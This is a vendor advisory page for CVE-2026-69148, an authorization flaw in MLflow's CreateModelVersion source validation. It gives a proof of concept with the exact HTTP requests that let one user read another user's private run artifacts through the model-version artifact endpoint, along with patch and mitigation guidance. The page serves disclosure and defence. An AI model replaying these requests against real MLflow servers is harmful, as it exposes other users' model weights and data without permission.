Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2026-69148 — mlflow

HIGHFix: mlflow/mlflow@4bb7474

CVE-2026-69148 is a high-severity (CVSS 7.1) CWE-862 vulnerability in mlflow. A fix is available for mlflow — see the affected versions and patch details below.

MLflow: CreateModelVersion source validation does not check READ permission on referenced run_id

Also known asBIT-mlflow-2026-69148GHSA-gqch-g4w5-7qcw
Published
Aug 17, 2026
Updated
Sep 20, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 2, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-69148.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs28th percentile — riskier than 28% of all scored CVEsHighest risk
0.00%0.29%0.58%0.87%0.2%0.4%0.4%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-69148 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 381,682 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

1other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
mlflownpm
2Kdownloads / week

Description

Summary

The _validate_source_run and _validate_source_model functions in mlflow/server/handlers.py verify that a model version source path is within the artifact directory of a specified run or logged model, but do not check whether the caller has READ permission on that run or model. An authenticated MLflow user can therefore reference another user's run_id in CreateModelVersion, creating a model version whose artifact URI points at the victim's artifact directory. If the calling user has MANAGE permission on the registered model (which they do after creation), they can then read arbitrary files from the victim's artifact directory via GET /model-versions/get-artifact, bypassing the experiment-level READ permission gate on GET /get-artifact.

Details

POST /api/2.0/mlflow/model-versions/create is protected: the caller must have UPDATE permission on the registered model. However, the source/run_id validation performed inside _validate_source_run only verifies path containment, not caller authorization:

# mlflow/server/handlers.py  _validate_source_run()
def _validate_source_run(source: str, run_id: str) -> None:
    if is_local_uri(source):
        if run_id:
            store = _get_tracking_store()
            run = store.get_run(run_id)          # <-- no permission check on run_id
            source = pathlib.Path(local_file_uri_to_path(source)).resolve()
            if is_local_uri(run.info.artifact_uri):
                run_artifact_dir = pathlib.Path(...).resolve()
                if run_artifact_dir in [source, *source.parents]:
                    return                       # validation passes
        raise MlflowException(...)

After creation, the model version's source and run_id point at the victim's artifact directory. The caller can read files from that directory via the model version artifact handler, which derives the artifact path from the stored source:

GET /model-versions/get-artifact?name=<model>&version=<v>&path=<file>

This bypass matters in deployments where experiment-level permissions are explicitly restricted -- i.e., where the default_permission is NO_PERMISSIONS or the target experiment has no grant for the attacker. Without the bypass, GET /get-artifact for the victim's run would return 403; via the model version artifact handler it returns 200.

PoC

Prerequisites: MLflow v3.13.0, --app-name basic-auth, default_permission=NO_PERMISSIONS (or alice's experiment restricted). Alice owns experiment 2 and run ALICE_RUN_ID. Bob owns experiment 4. Bob has READ on his own resources but NOT on alice's experiment.

  1. Alice uploads a private file:
# file is at /mlruns/2/ALICE_RUN_ID/artifacts/secret_weights.txt
echo "ALICE_SECRET_MODEL_WEIGHTS=0.42" > secret_weights.txt
  1. Bob directly tries to read alice's artifact -- blocked:
GET /get-artifact?run_id=ALICE_RUN_ID&path=secret_weights.txt HTTP/1.1
Authorization: Basic <bob credentials>

Response: HTTP 403 (when alice's experiment is private)

  1. Bob creates a model version referencing alice's run_id as source anchor:
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Authorization: Basic <bob credentials>
Content-Type: application/json

{"name":"bob-model","source":"/mlruns/2/ALICE_RUN_ID/artifacts","run_id":"ALICE_RUN_ID"}

Response: HTTP 200

{"model_version":{"name":"bob-model","version":"1","source":"/mlruns/2/ALICE_RUN_ID/artifacts","run_id":"ALICE_RUN_ID"}}
  1. Bob reads alice's private file via the model version artifact handler:
GET /model-versions/get-artifact?name=bob-model&version=1&path=secret_weights.txt HTTP/1.1
Authorization: Basic <bob credentials>

Response: HTTP 200 -- body contains ALICE_SECRET_MODEL_WEIGHTS=0.42

Live-validated on v3.13.0 with default_permission=READ (the file download is confirmed 200 OK); impact escalates to a true bypass when default_permission=NO_PERMISSIONS.

Impact

An authenticated user who can create registered models can read arbitrary files from any other user's artifact directory, bypassing the experiment-level READ permission gate. Model weights, training data samples, and evaluation reports stored in a run's artifact directory are accessible. The attacker needs UPDATE (or MANAGE) permission on at least one registered model; with default_permission=READ, that is automatically granted to the model creator.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmmlflowall versions3.15.0npm install mlflow@3.15.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mlflow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update mlflow to 3.15.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-69148 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

This vulnerability is rated as Important severity because it allows authenticated users in multi-user environments to bypass experiment-level read restrictions and access sensitive artifacts belonging to other users. In Red Hat OpenShift AI environments where MLflow tracking servers manage shared machine learning…

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.
Source: Red Hat security advisory for CVE-2026-69148 (CC BY 4.0)

Frequently Asked Questions

### Summary The `_validate_source_run` and `_validate_source_model` functions in `mlflow/server/handlers.py` verify that a model version source path is within the artifact directory of a specified run or logged model, but do not check whether the caller has READ permission on that run or model. An authenticated MLflow user can therefore reference another user's run_id in `CreateModelVersion`, creating a model version whose artifact URI points at the victim's artifact directory. If the calling user has MANAGE permission on the registered model (which they do after creation), they can then read
O3 Security · Impact-Aware SCA

Is CVE-2026-69148 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-69148: mlflow — Fixed in 3.15.0 | O3 Security